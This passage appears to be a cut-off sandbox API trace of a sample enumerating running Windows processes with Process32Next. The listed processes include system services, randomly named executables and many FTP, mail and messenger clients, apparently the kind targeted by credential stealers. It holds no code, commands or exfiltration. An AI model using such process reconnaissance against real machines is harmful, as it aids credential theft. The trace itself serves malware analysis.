szExeFile="csrss.exe")) returned 1 [0237.780] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.782] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.784] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.787] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.789] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.792] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.794] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.796] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.798] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.800] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.803] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.805] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.807] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.809] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.811] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.814] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.816] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.819] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.821] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.823] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.825] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0237.827] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0237.829] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.870] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.872] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.878] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0237.880] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.883] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.885] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0237.887] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.890] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.892] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.894] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.897] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.899] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.901] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0237.904] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0237.906] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0237.908] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0237.910] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0237.913] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0237.915] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0237.919] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0237.921] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0237.923] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0237.926] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0237.928] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0237.930] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0237.933] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0237.935] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0237.937] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0237.939] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0237.941] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0237.944] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0237.947] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0237.950] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.952] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.956] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.962] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.965] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.967] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.970] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.972] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.975] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.978] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.981] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.984] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.986] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.989] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0237.992] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0237.995] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.998] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.003] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.010] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.146] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.150] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.152] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.155] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.158] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.162] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.164] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.167] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.170] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.173] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: 